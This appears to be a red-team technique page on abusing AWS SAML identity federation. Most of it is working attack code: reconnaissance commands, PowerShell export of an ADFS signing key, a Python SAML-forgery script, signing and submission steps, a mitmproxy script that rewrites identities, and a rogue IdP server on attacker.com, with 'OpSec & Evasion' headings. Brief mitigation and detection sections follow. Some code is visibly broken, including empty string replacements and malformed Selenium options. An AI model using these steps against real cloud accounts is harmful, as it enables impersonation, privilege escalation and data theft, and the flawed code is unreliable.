MCADDF

[CROSS-CLOUD-001]: AWS Identity Federation Abuse

Metadata

Attribute Details
Technique ID CROSS-CLOUD-001
MITRE ATT&CK v18.1 T1484.002 - Domain Trust Modification
Tactic Privilege Escalation, Persistence
Platforms AWS, Cross-Cloud
Severity Critical
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions All AWS API versions
Patched In N/A
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: AWS Identity Federation Abuse (T1484.002) exploits the federation trust configuration between AWS and external identity providers (Okta, Azure AD, Google Workspace, custom SAML providers). By compromising or manipulating the SAML signing certificate or creating a malicious federated identity provider, an attacker can forge SAML tokens to impersonate any federated user in AWS. This bypasses password-based authentication entirely and is particularly dangerous because it doesn’t require knowledge of the target user’s credentials. The attacker creates a SAML response signed with a certificate they control (or extract from the IdP), which AWS Identity Provider (IdP) then trusts for authentication. Once authenticated, the attacker gains all permissions associated with the impersonated role.

Attack Surface: AWS Identity and Access Management (IAM) console, SAML IdP configuration, AWS Organizations management account, federated role trust policies, SAML certificate management, AWS Security Token Service (STS).

Business Impact: Complete organizational compromise with persistent access. An attacker can impersonate any federated user, including those with administrative privileges. This enables data exfiltration from S3, RDS, DynamoDB; lateral movement across AWS accounts in an organization; modification of security controls; resource destruction; and ransomware deployment. Unlike password compromise, federation abuse is difficult to detect because the forged SAML token appears legitimate in audit logs.

Technical Context: Federation spoofing typically takes 1-4 hours to execute (certificate extraction + token generation). Detection likelihood is low to medium because legitimate SAML assertions are identical to forged ones at the AWS layer. Common indicators include multiple login locations, unusual federated role assumptions, and abnormal API activity from trusted but compromised identities.

Operational Risk

Compliance Mappings

| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | 5.1 - 5.4 | Credential exposure, IAM policy abuse | | DISA STIG | V-222385 | Federated account credential handling | | CISA SCuBA | C2-4 | Identity and Access Management Controls | | NIST 800-53 | AC-2, AC-3, IA-2 | Account management, access control, authentication | | GDPR | Art. 32 | Security of processing; inadequate access controls lead to data exposure | | DORA | Art. 9 | ICT security incident management; federation compromise is critical | | NIS2 | Art. 21(2)(c) | Cyber risk management measures for critical operators | | ISO 27001 | A.9.1.1, A.9.2.4 | Access control policy; privilege management | | ISO 27005 | 8.2 | Risk assessment of identity federation components |


3. TECHNICAL PREREQUISITES

Supported Versions:

Tools:


4. ENVIRONMENTAL RECONNAISSANCE

AWS IAM Console Reconnaissance

Objective: Identify federated identity providers and role trust policies configured for SAML.

Command (AWS CLI - Any User):

# List all SAML providers in the account
aws iam list-saml-providers --output json
# Example output:
# {
#   "SAMLProviderList": [
#     {
#       "Arn": "arn:aws:iam::123456789012:saml-provider/OktaProvider",
#       "ValidUntil": "2026-12-31T00:00:00Z",
#       "CreateDate": "2023-06-01T10:00:00Z"
#     }
#   ]
# }

What to Look For:

Command (AWS CLI - Get SAML Provider Details):

# Get full SAML provider metadata
aws iam get-saml-provider --saml-provider-arn arn:aws:iam::123456789012:saml-provider/OktaProvider --output json | jq '.SAMLMetadataDocument' | base64 -d | xmllint --format -

What This Shows:

Command (AWS CLI - List Federated Roles):

# Find all IAM roles that trust SAML providers
aws iam list-roles --output json | jq '.Roles[] | select(.AssumeRolePolicyDocument.Statement[].Principal.Federated != null)'

Expected Output:

{
  "RoleName": "OktaAdminRole",
  "Arn": "arn:aws:iam::123456789012:role/OktaAdminRole",
  "AssumeRolePolicyDocument": {
    "Statement": [
      {
        "Effect": "Allow",
        "Principal": {
          "Federated": "arn:aws:iam::123456789012:saml-provider/OktaProvider"
        },
        "Action": "sts:AssumeRoleWithSAML",
        "Condition": {
          "StringEquals": {
            "SAML:aud": "https://signin.aws.amazon.com/saml"
          }
        }
      }
    ]
  }
}

What This Means:


5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: SAML Assertion Forgery Using Extracted Certificate

Supported Versions: AWS all versions, SAML 2.0 standard

Step 1: Extract SAML Signing Certificate from IdP Metadata

Objective: Obtain the X.509 certificate used to sign SAML assertions.

Command (Bash - Download Metadata):

# Many IdPs expose metadata at a standard URL
# For Okta: https://yourorg.okta.com/app/amazon_aws/exk1234567890/sso/saml/metadata
# For Azure AD: https://login.microsoftonline.com/{TenantID}/federationmetadata/2007-06/federationmetadata.xml

curl -s "https://login.microsoftonline.com/YOUR_TENANT_ID/federationmetadata/2007-06/federationmetadata.xml" > metadata.xml

# Extract the signing certificate (base64-encoded X.509)
cat metadata.xml | grep -oP '(?<=<X509Certificate>)[^<]+' > cert.b64

# Decode and save as PEM
base64 -d cert.b64 > cert.cer

# Convert DER to PEM if needed
openssl x509 -inform DER -in cert.cer -out cert.pem

# Verify certificate details
openssl x509 -in cert.pem -text -noout

Expected Output:

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 123456 (0x1e240)
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: CN = Okta Signing Certificate
        Subject: CN = Okta Signing Certificate
        Validity
            Not Before: Jan 10 2024
            Not After : Jan 10 2025

What This Means:

OpSec & Evasion:

Troubleshooting:


Step 2: Extract Private Key from IdP (Optional but Preferred)

Objective: If you have ADFS/IdP console access, extract the signing certificate’s private key for more authentic signatures.

Command (PowerShell - ADFS Server):

# This requires Local Admin or ADFS Admin on the ADFS server
$cert = Get-ChildItem -Path "Cert:\LocalMachine\My\" | Where-Object { $_.Subject -like "*ADFS*" -and $_.Thumbprint -eq "KNOWN_THUMBPRINT" }

# Export certificate and private key (requires ADFS service account or local admin)
$pfxPassword = ConvertTo-SecureString -String "SecurePassword123!" -Force -AsPlainText
Export-PfxCertificate -Cert $cert -FilePath "C:\Temp\ADFScert.pfx" -Password $pfxPassword

# Convert to PEM for use in Linux/Bash
openssl pkcs12 -in ADFScert.pfx -out adfs_key.pem -nodes -password pass:SecurePassword123!

Expected Output:

-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC7...
[RSA PRIVATE KEY DATA]
...
-----END PRIVATE KEY-----

What This Means:

OpSec & Evasion:


Step 3: Create Malicious SAML Assertion

Objective: Forge a SAML assertion claiming to represent a high-privilege user.

Command (Python - Generate SAML Response):

Create a file forge_saml.py:

#!/usr/bin/env python3
import base64
import datetime
from lxml import etree
import uuid

# Configuration
ISSUER = "https://login.microsoftonline.com/YOUR_TENANT_ID/federationmetadata/2007-06/federationmetadata.xml"
SAML_AUD = "https://signin.aws.amazon.com/saml"
TARGET_USER = "admin@company.com"  # User to impersonate
ROLE_ARN = "arn:aws:iam::123456789012:role/AdminRole"
DURATION = 3600  # Token duration (seconds)

# Create SAML Response
saml_response = f"""<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" 
    xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" 
    ID="_" 
    Version="2.0" 
    IssueInstant="{datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')}" 
    Destination="https://signin.aws.amazon.com/saml" 
    Consent="urn:oasis:names:tc:SAML:2.0:consent:unspecified">
  <saml:Issuer>{ISSUER}</saml:Issuer>
  <samlp:Status>
    <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
  </samlp:Status>
  <saml:Assertion xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" ID="_" Version="2.0" IssueInstant="{datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')}">
    <saml:Issuer>{ISSUER}</saml:Issuer>
    <saml:Subject>
      <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">{TARGET_USER}</saml:NameID>
      <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
        <saml:SubjectConfirmationData NotOnOrAfter="{(datetime.datetime.utcnow() + datetime.timedelta(seconds=DURATION)).strftime('%Y-%m-%dT%H:%M:%SZ')}" Recipient="https://signin.aws.amazon.com/saml"/>
      </saml:SubjectConfirmation>
    </saml:Subject>
    <saml:Conditions NotBefore="{datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')}" NotOnOrAfter="{(datetime.datetime.utcnow() + datetime.timedelta(seconds=DURATION)).strftime('%Y-%m-%dT%H:%M:%SZ')}">
      <saml:AudienceRestriction>
        <saml:Audience>{SAML_AUD}</saml:Audience>
      </saml:AudienceRestriction>
    </saml:Conditions>
    <saml:AuthnStatement AuthnInstant="{datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')}" SessionIndex="_">
      <saml:AuthnContext>
        <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
      </saml:AuthnContext>
    </saml:AuthnStatement>
    <saml:AttributeStatement>
      <saml:Attribute Name="https://aws.amazon.com/SAML/Attributes/Role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
        <saml:AttributeValue>{ROLE_ARN},arn:aws:iam::123456789012:saml-provider/OktaProvider</saml:AttributeValue>
      </saml:Attribute>
      <saml:Attribute Name="https://aws.amazon.com/SAML/Attributes/RoleSessionName" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
        <saml:AttributeValue>{TARGET_USER}</saml:AttributeValue>
      </saml:Attribute>
      <saml:Attribute Name="https://aws.amazon.com/SAML/Attributes/SessionDuration" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
        <saml:AttributeValue>{DURATION}</saml:AttributeValue>
      </saml:Attribute>
    </saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>
""".replace("", str(uuid.uuid4())).replace("", str(uuid.uuid4())).replace("", str(uuid.uuid4()))

# Encode for form submission
saml_b64 = base64.b64encode(saml_response.encode()).decode()
print(f"SAMLResponse (base64):\n{saml_b64}\n")

# Save for later use
with open("saml_response.b64", "w") as f:
    f.write(saml_b64)

Run the script:

python3 forge_saml.py

Expected Output:

SAMLResponse (base64):
PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIHhtbG5zOnNhbWw9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iI...
[LONG BASE64 STRING]

What This Means:

OpSec & Evasion:

Troubleshooting:


Step 4: Sign SAML Assertion with Extracted Certificate

Objective: Digitally sign the SAML assertion using the IdP’s private key (if extracted) or a self-signed certificate.

Command (Bash - Sign with xmlsec1):

First, ensure you have the private key and certificate:

# If you extracted a PFX, split it into separate files
openssl pkcs12 -in adfs_key.pfx -nocerts -out private.pem -nodes -password pass:SecurePassword123!
openssl pkcs12 -in adfs_key.pfx -nokeys -clcerts -out certificate.pem -password pass:SecurePassword123!

# Sign the SAML assertion
xmlsec1 sign --privkey-pem private.pem \
  --id-attr:ID urn:oasis:names:tc:SAML:2.0:assertion:Assertion \
  --output signed_saml.xml \
  --format xml \
  saml_response.xml

# Encode the signed response for form submission
base64 -w 0 signed_saml.xml > signed_saml.b64

Expected Output:

<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ...>
  ...
  <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
    <SignedInfo>
      <CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
      <SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha256"/>
      <Reference URI="#_assertion_id">
        <DigestMethod Algorithm="http://www.w3.org/2001/10/XMLSchema#sha256"/>
        <DigestValue>ABCD1234...</DigestValue>
      </Reference>
    </SignedInfo>
    <SignatureValue>SGVsbG8gV29ybGQ=</SignatureValue>
    <KeyInfo>...</KeyInfo>
  </Signature>
</samlp:Response>

What This Means:

OpSec & Evasion:


Step 5: Submit Forged SAML Assertion to AWS

Objective: Use the signed SAML assertion to assume the target AWS role.

Command (Bash - HTTP POST to AWS):

Option 1 - Using Burp Suite or cURL:

# Extract the base64-encoded SAML response
SAML_RESPONSE=$(cat signed_saml.b64)
RELAY_STATE=$(echo "https://console.aws.amazon.com/" | base64)

# Construct the form data
cat > saml_request.txt <<EOF
SAMLResponse=${SAML_RESPONSE}
RelayState=${RELAY_STATE}
EOF

# Submit to AWS SAML endpoint
curl -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d @saml_request.txt \
  "https://signin.aws.amazon.com/saml" \
  -i -L

Option 2 - Using Python and SeleniumBase (for browser automation):

#!/usr/bin/env python3
from selenium import webdriver
from selenium.webdriver.common.by import By
import time
import base64

# Initialize headless browser
driver = webdriver.Chrome(options={'--headless': True})

# Go to AWS SAML login
driver.get("https://signin.aws.amazon.com/saml")

# Inject the forged SAML response
saml_input = driver.find_element(By.NAME, "SAMLResponse")
saml_input.send_keys(open("signed_saml.b64", "r").read())

# Submit the form
form = driver.find_element(By.TAG_NAME, "form")
form.submit()

# Wait for redirect and check if authenticated
time.sleep(5)
print(f"Current URL: {driver.current_url}")
print(f"Page title: {driver.title}")

# If successful, should be redirected to AWS console
if "console.aws.amazon.com" in driver.current_url:
    print("[+] Successfully authenticated as forged user!")
    cookies = driver.get_cookies()
    for cookie in cookies:
        print(f"Cookie: {cookie['name']} = {cookie['value'][:50]}...")

driver.quit()

Expected Output:

[+] Successfully authenticated as forged user!
Cookie: aws-userInfo = eyJhY2NvdW50SWQiOiIxMjM0NTY3ODkwMTIiLCJ...
Cookie: session-token = AIDAJ45Q...
Current URL: https://console.aws.amazon.com/

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


METHOD 2: Intercept and Modify SAML Assertion (MITM)

Supported Versions: AWS all versions

Step 1: Position as MITM Between IdP and AWS

Objective: Intercept legitimate SAML assertions in transit.

Command (Bash - mitmproxy):

# Install mitmproxy
pip install mitmproxy

# Start mitmproxy intercepting HTTPS
mitmproxy -p 8080 --mode transparent

# Or, on the target workstation, configure browser proxy:
# Settings → Network Proxy → Manual Configuration
# HTTP Proxy: attacker-ip:8080
# HTTPS Proxy: attacker-ip:8080

What This Achieves:

OpSec & Evasion:


Step 2: Modify SAML Assertions

Objective: Change the NameID or Role attribute in a legitimate SAML assertion.

Command (Python - SAML Interceptor):

Create saml_modifier.py:

#!/usr/bin/env python3
from mitmproxy import http
from lxml import etree
import base64
import re

def request(flow: http.HTTPFlow) -> None:
    """Intercept and modify SAML responses."""
    
    if flow.request.url.startswith("https://signin.aws.amazon.com/saml"):
        # Check if this is a SAML submission
        if "SAMLResponse" in flow.request.text:
            # Extract SAML response
            match = re.search(r'SAMLResponse=([^&]+)', flow.request.text)
            if match:
                saml_b64 = match.group(1)
                
                # Decode
                saml_xml = base64.b64decode(saml_b64).decode()
                
                # Parse XML
                root = etree.fromstring(saml_xml.encode())
                
                # Define namespaces
                ns = {
                    'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
                    'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol'
                }
                
                # Modify NameID (change authenticated user)
                name_id = root.find('.//saml:NameID', ns)
                if name_id is not None:
                    old_user = name_id.text
                    name_id.text = "admin@company.com"  # Impersonate admin
                    print(f"[*] Modified NameID: {old_user}{name_id.text}")
                
                # Modify Role attribute
                for attr in root.findall('.//saml:Attribute', ns):
                    if attr.get('Name') == 'https://aws.amazon.com/SAML/Attributes/Role':
                        for value in attr.findall('saml:AttributeValue', ns):
                            old_role = value.text
                            # Change to admin role
                            value.text = "arn:aws:iam::123456789012:role/AdminRole,arn:aws:iam::123456789012:saml-provider/OktaProvider"
                            print(f"[*] Modified Role: {old_role}{value.text}")
                
                # Re-encode
                modified_saml = etree.tostring(root, encoding='utf-8').decode()
                modified_b64 = base64.b64encode(modified_saml.encode()).decode()
                
                # Replace in request
                modified_request = re.sub(
                    r'SAMLResponse=[^&]+',
                    f'SAMLResponse={modified_b64}',
                    flow.request.text
                )
                
                flow.request.text = modified_request
                print("[+] SAML response modified and forwarded")

OpSec & Evasion:


METHOD 3: Add Malicious Federated Identity Provider

Supported Versions: AWS Organizations, all AWS accounts

Step 1: Create Attacker-Controlled IdP

Objective: Set up a rogue SAML provider that AWS will trust.

Command (Bash - Create Self-Signed Certificate):

# Generate private key
openssl genrsa -out attacker_key.pem 2048

# Create self-signed certificate (valid 1 year)
openssl req -new -x509 -key attacker_key.pem -out attacker_cert.pem -days 365 \
  -subj "/CN=AttackerSAML/O=Attacker Inc/C=US"

# Display certificate fingerprint
openssl x509 -in attacker_cert.pem -fingerprint -noout

Expected Output:

Certificate fingerprint (SHA1): AB:CD:EF:12:34:56:78:90:AB:CD:EF:12:34:56:78:90:AB:CD:EF:12

Step 2: Register Attacker IdP with AWS Account

Objective: Configure AWS to trust the attacker’s SAML provider.

Command (AWS CLI - Requires IAM Admin):

# Create AWS SAML provider using the attacker certificate
aws iam create-saml-provider \
  --saml-metadata-document file://attacker_metadata.xml \
  --name "AttackerProvider"

# Output: arn:aws:iam::123456789012:saml-provider/AttackerProvider

# Now modify a role to trust this provider
aws iam get-role --role-name AdminRole

# Update trust policy to include the attacker provider
cat > trust_policy.json <<EOF
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Federated": [
          "arn:aws:iam::123456789012:saml-provider/OktaProvider",
          "arn:aws:iam::123456789012:saml-provider/AttackerProvider"
        ]
      },
      "Action": "sts:AssumeRoleWithSAML",
      "Condition": {
        "StringEquals": {
          "SAML:aud": "https://signin.aws.amazon.com/saml"
        }
      }
    }
  ]
}
EOF

aws iam update-assume-role-policy \
  --role-name AdminRole \
  --policy-document file://trust_policy.json

Expected Output:

[No output = success]

What This Achieves:


Step 3: Issue SAML Tokens for Impersonation

Objective: Use the attacker-controlled IdP to issue tokens.

Command (Bash - Host SAML IdP Server):

Create a simple Python Flask server:

#!/usr/bin/env python3
from flask import Flask, request, render_template
from lxml import etree
import base64
import datetime
import uuid

app = Flask(__name__)

@app.route('/metadata', methods=['GET'])
def metadata():
    """Serve SAML metadata."""
    metadata_xml = '''<?xml version="1.0"?>
<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker.com/saml">
  <IDPSSODescriptor protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
    <KeyDescriptor use="signing">
      <KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
        <X509Data>
          <X509Certificate>MIIC...CERT_DATA...</X509Certificate>
        </X509Data>
      </KeyInfo>
    </KeyDescriptor>
    <SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" Location="https://attacker.com/sso"/>
  </IDPSSODescriptor>
</EntityDescriptor>'''
    return metadata_xml, 200, {'Content-Type': 'application/xml'}

@app.route('/sso', methods=['POST', 'GET'])
def sso():
    """Handle SAML Single Sign-On."""
    target_user = request.args.get('user', 'admin@company.com')
    
    # Generate SAML response (same as METHOD 1, STEP 3)
    saml_response = f'''<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ...>
    ...
    </samlp:Response>'''
    
    return render_template('saml_form.html', saml_response=base64.b64encode(saml_response.encode()).decode())

if __name__ == '__main__':
    app.run(host='attacker.com', port=443, ssl_context='adhoc')

OpSec & Evasion:


6. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Mitigations)

# Check if SAML providers are properly configured
aws iam list-saml-providers --output json | jq '.SAMLProviderList[] | {Arn, ValidUntil}'

# Expected Output (Secure):
# {
#   "Arn": "arn:aws:iam::123456789012:saml-provider/OktaProvider",
#   "ValidUntil": "2025-12-31T00:00:00Z"  # Recent expiration
# }

# Check if role trusts only expected SAML providers
aws iam get-role --role-name AdminRole | jq '.Role.AssumeRolePolicyDocument.Statement[] | select(.Principal.Federated != null)'

# Expected Output (Secure):
# Only should list legitimate IdPs (Okta, Azure AD, etc.), NOT attacker providers

What to Look For:


7. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate: Command (AWS CLI):
    # Revoke all active sessions for the compromised role
    aws iam delete-role-policy --role-name AdminRole --policy-name "inline-policy"
        
    # Disable the SAML provider
    aws iam delete-saml-provider --saml-provider-arn arn:aws:iam::123456789012:saml-provider/OktaProvider
        
    # Alternatively, update assume role policy to deny all SAML
    aws iam update-assume-role-policy --role-name AdminRole --policy-document file://deny_all.json
    

    Manual (AWS Console):

    • Go to IAMRolesAdminRole
    • Click Delete role
    • Recreate with updated trust policy after investigation
  2. Collect Evidence: Command (Export CloudTrail Logs):
    # Export all SAML-related CloudTrail events for the past 90 days
    aws cloudtrail lookup-events \
      --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRoleWithSAML \
      --start-time 2025-10-10T00:00:00Z \
      --max-results 50 \
      --output json > saml_events.json
        
    # Parse and analyze
    jq '.Events[] | {eventTime, sourceIPAddress, requestParameters}' saml_events.json
    

    Manual (AWS Console):

    • Go to CloudTrailEvent History
    • Filter by Event name: AssumeRoleWithSAML
    • Select events, click Export results
  3. Remediate: Command (Re-secure Federation):
    # Delete the compromised SAML provider
    aws iam delete-saml-provider --saml-provider-arn arn:aws:iam::123456789012:saml-provider/AttackerProvider
        
    # Rotate the legitimate IdP signing certificate (Okta example via API)
    curl -X POST https://yourorg.okta.com/api/v1/certs -H "Authorization: Bearer $OKTA_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"name":"new-signing-cert","type":"RSA"}'
        
    # Update AWS SAML provider with new certificate
    aws iam update-saml-provider \
      --saml-metadata-document file://new_metadata.xml \
      --saml-provider-arn arn:aws:iam::123456789012:saml-provider/OktaProvider
    

    Manual:

    • Contact IdP vendor to rotate certificates
    • Update AWS SAML provider metadata in IAM console
    • Verify all federated users can still log in
    • Change passwords for all administrators

Step Phase Technique Description
1 Initial Access [CROSS-CLOUD-002] Google Cloud Identity Sync Compromise Compromise cloud identity infrastructure
2 Privilege Escalation [CROSS-CLOUD-001] Abuse AWS federation to impersonate high-privilege users
3 Persistence [IA-EXPLOIT-001] Azure Application Proxy Exploitation Maintain access via cloud proxy
4 Lateral Movement [CROSS-CLOUD-003] Multi-Cloud Service Account Abuse Move to other clouds using stolen credentials
5 Impact [Impact Techniques] Data exfiltration, ransomware deployment Achieve business objectives

9. REAL-WORLD EXAMPLES

Example 1: APT29 (Cozy Bear) - SolarWinds Compromise (C0024)

Example 2: Scattered Spider (UNC3944) - Identity Provider Abuse (G1015)


10. ADDITIONAL RESOURCES